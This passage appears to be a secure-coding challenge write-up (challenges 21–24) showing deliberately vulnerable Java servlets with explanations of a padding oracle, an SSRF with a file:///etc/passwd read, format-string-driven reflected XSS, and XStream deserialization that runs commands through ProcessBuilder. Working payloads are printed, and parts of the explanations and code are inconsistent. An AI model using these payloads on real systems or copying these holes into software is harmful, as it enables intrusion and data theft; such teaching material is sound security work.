public void decrypt(HttpServletResponse req, HttpServletResponse res) throws IOException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, NoSuchPaddingException, DecoderException, InvalidKeySpecException {
// Payload to decrypt: 699c99a4f27a4e4c310d75586abe8d32a8fc21a1f9e400f22b1fec7b415de5a4
byte[] cipher = Hex.decodeHex(req.getParameter("c"));
byte[] salt = new byte[]{(byte)0x12,(byte)0x34,(byte)0x56,(byte)0x78,(byte)0x9a,(byte)0xbc,(byte)0xde};
// Extract IV.
byte[] iv = new byte[16];
System.arraycopy(cipher, 0, iv, 0, iv.length);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
byte[] encryptedBytes = new byte[cipher.length - 16];
System.arraycopy(cipher, 16, encryptedBytes, 0, cipher.length - 16);
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
// Of course the password is not known by the attacker - just for testing purposes
KeySpec spec = new PBEKeySpec("SuperSecurePassword".toCharArray(), salt, 65536, 128);
SecretKey key = factory.generateSecret(spec);
SecretKeySpec secretKeySpec = new SecretKeySpec(key.getEncoded(), "AES");
// Decrypt.
try {
Cipher cipherDecrypt = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] decrypted = cipherDecrypt.doFinal(encryptedBytes);
// Do something.
} catch (BadPaddingException e) {
res.getWriter().println("Invalid Padding!!");
}
}
}
- The
decryptmethod attempts to decrypt user-provided hex-encoded ciphertext using an insecure AES algorithm (line 27). - The attacker knows the encrypted ciphertext (line 10) but not the encryption key.
- Since the ciphertext lacks Message Authentication Code (MAC) or signature protection, the attacker can manipulate the Initialization Vector (IV, first 16 bytes of ciphertext).
- This manipulation exploits CBC mode malleability to trigger a BadPaddingException.
- By leveraging a Padding Oracle attack, the attacker can decrypt the ciphertext without the key.
- This attack might require up to 16 * 256 requests to decrypt a single block.
- For more information on Padding Oracle attacks, refer to: https://www.owasp.org/images/e/eb/Fun_with_Padding_Oracles.pdf.
Challenge 22 - Fruitcake
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.io.IOUtils;
import java.net.*;
import javax.servlet.http.*;
public class ReadExternalUrl extends HttpServlet {
private static URLConnection getUrl(String target) {
try{
// Don't allow redirects:
HttpURLConnection.setFollowRedirects(false);
URL url = new URL(target);
if(!url.getProtocol().startsWith("http"))
throw new Exception("Must start with http!.");
InetAddress inetAddress = InetAddress.getByName(url.getHost());
if (inetAddress.isAnyLocalAddress() || inetAddress.isLoopbackAddress() || inetAddress.isLinkLocalAddress())
throw new Exception("No local urls allowed!");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
return conn;
}
catch (Exception e) {
return null;
}
}
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
try{
URLConnection conn = getUrl(request.getParameter("url"));
conn.connect();
String redirect = conn.getHeaderField("Location");
if(redirect != null) {
URL url = new URL(redirect);
if(redirect.indexOf("http://") == -1) {
throw new Exception("No http found!");
}
if(getUrl(redirect.substring(redirect.indexOf("http://"))) != null) {
conn = url.openConnection();
conn.connect();
}
}
// Output content of url
IOUtils.copy(conn.getInputStream(),response.getOutputStream());
}
catch (Exception e) {
System.exit(-1);
}
}
}
- The code retrieves a URL using the
getUrlmethod (line 31). - Initial checks ensure the URL starts with “http” (line 13) and is a valid external URL (line 17).
- Redirects are also disabled (line 10).
- However, the code allows a single redirect via the “Location” header (lines 33-43).
- An attacker can control the URL parameter and inject a malicious “Location” header.
- A simple payload like
victim.org?url=http://evil.com/can bypass the second check (line 39) due to incomplete validation. - The check only examines the content after “http” (e.g., “google.com” in this case).
- Though intended to fetch “https://localhost/”, the request ends up at “https://localhost/?x=http://google.com” (line 40/41).
- The response body is printed (line 45), demonstrating a classic SSRF vulnerability.
- But there’s more! The attacker can also exploit this as a File Read vulnerability.
- By injecting
Location: file:///etc/passwd#http://google.com, the code attempts to read the local “/etc/passwd” file, potentially leaking sensitive information.
Challenge 23 - Ivy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javax.servlet.http.*;
import java.io.*;
import java.text.*;
import java.util.*;
import org.apache.commons.lang3.StringEscapeUtils;
public class ShowCalendar extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
response.setContentType("text/html");
GregorianCalendar calendar = new GregorianCalendar();
SimpleTimeZone x = new SimpleTimeZone(0, request.getParameter("id"));
SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy");
calendar.setTime(parser.parse(request.getParameter("current_time")));
calendar.setTimeZone(x);
Formatter formatter = new Formatter();
String name = StringEscapeUtils.escapeHtml4(request.getParameter("name"));
formatter.format("Name of your calendar: " + name + " and your current date is: %1$te.%1$tm.%1$tY", calendar);
PrintWriter pw = response.getWriter();
pw.print(formatter.toString());
} catch(ParseException e) {
response.sendRedirect("/");
}
}
}
- This code is vulnerable to Reflective XSS due to a format string injection.
- User input for
nameis sanitized against XSS in line 17. - However, the sanitized
nameis then concatenated into a format string in line 18. - Since
calendaris an object, various format specifiers can be used. - The user can inject format specifiers without causing errors.
- The format specifier
%scallstoString()on elements within theCalendarobject. - In line 12, a
SimpleTimeZoneobject is created with user-controlledid. - This
SimpleTimeZoneobject is added to theCalendarobject in line 15. - An attacker can inject an XSS payload into
nameusing the format specifier%s. - The payload is then included in the formatted string printed in line 20.
- This results in a Reflective XSS vulnerability where the injected script is executed through reflection.
Example payload:
1
http://victim.org/?id=<script>alert(1)</script>¤t_time=Thu Jun 18 20:56:02 EDT 2009&name=%shello
Challenge 24 - Nutcracker
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.rips.demo.web;
import java.io.*;
import java.lang.reflect.*;
class Invoker implements Serializable {
private String c;
private String m;
private String[] a;
public Invoker(String c, String m, String[] a) {
this.c = c;
this.m = m;
this.a = a;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
ois.defaultReadObject();
Class clazz = Class.forName(this.c);
Object obj = clazz.getConstructor(String[].class).newInstance(new Object[]{this.a});
Method meth = clazz.getMethod(this.m);
meth.invoke(obj, null);
}
}
class User implements Serializable {
private String name;
private String email;
transient private String password;
public User(String name, String email, String password) {
this.name = name;
this.email = email;
this.password = password;
}
private void readObject(ObjectInputStream stream)
throws IOException, ClassNotFoundException {
stream.defaultReadObject();
password = (String) stream.readObject();
}
@Override
public String toString() {
return "User{" + "name='" + name + ", email='" + email + "'}";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RequestMapping(value = "/unserialize", consumes = "text/xml")
public void unserialize(@RequestBody String xml, HttpServletResponse res) throws IOException, ParserConfigurationException, SAXException, XPathExpressionException, TransformerException {
res.setContentType("text/plain");
// Parse xml string
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
Document xmlDocument = builder.parse(new InputSource(new StringReader(xml)));
XPath xPath = XPathFactory.newInstance().newXPath();
String expression = "//com.rips.demo.web.User[@serialization='custom'][1]";
//only allow User objects to be unserialized!!!
NodeList nodeList = (NodeList) xPath.compile(expression).evaluate(xmlDocument, XPathConstants.NODESET);
// Transform node back to xml string
Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
StringWriter writer = new StringWriter();
transformer.transform(new DOMSource(nodeList.item(0)), new StreamResult(writer));
String xmloutput = writer.getBuffer().toString();
// Unserialze User
User user = (User) new XStream().fromXML(xmloutput);
res.getWriter().print("Successfully unserialized "+user.toString());
}
- This code is vulnerable to Object Injection due to insecure deserialization.
- User input arrives through the
@RequestBodyannotation (Spring framework) and is mapped toxmlin line 2. - The input is parsed into a DOM document (line 8).
- An XPath expression filters for
com.rips.demo.web.Usernodes with theserialization='custom'attribute (lines 10-12). - The filtered node is then serialized back to a string (line 17) and deserialized (line 20).
- Both relevant classes implement
Serializableand override default deserialization (lines 18-24, 38-42). - While deserialization reads non-transient fields, the
passwordfield is manually read later (line 41). - This allows hiding another object within the User object, bypassing the filter.
- The vulnerability is exploited in the
readObjectmethod of theInvokerclass (line 19). - This method allows creating an arbitrary object and invoking its methods.
- An attacker can craft a payload to create a
ProcessBuilderobject and execute commands (lines shown).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<com.rips.demo.web.User serialization="custom">
<com.rips.demo.web.User>
<default>
<email>peter@gmail.com</email>
<name>Peter</name>
</default>
<com.rips.demo.web.Invoker serialization="custom">
<com.rips.demo.web.Invoker>
<default>
<a>
<string>touch</string>
<string>abc</string>
</a>
<c>java.lang.ProcessBuilder</c>
<m>start</m>
</default>
</com.rips.demo.web.Invoker>
</com.rips.demo.web.Invoker>
</com.rips.demo.web.User>
</com.rips.demo.web.User>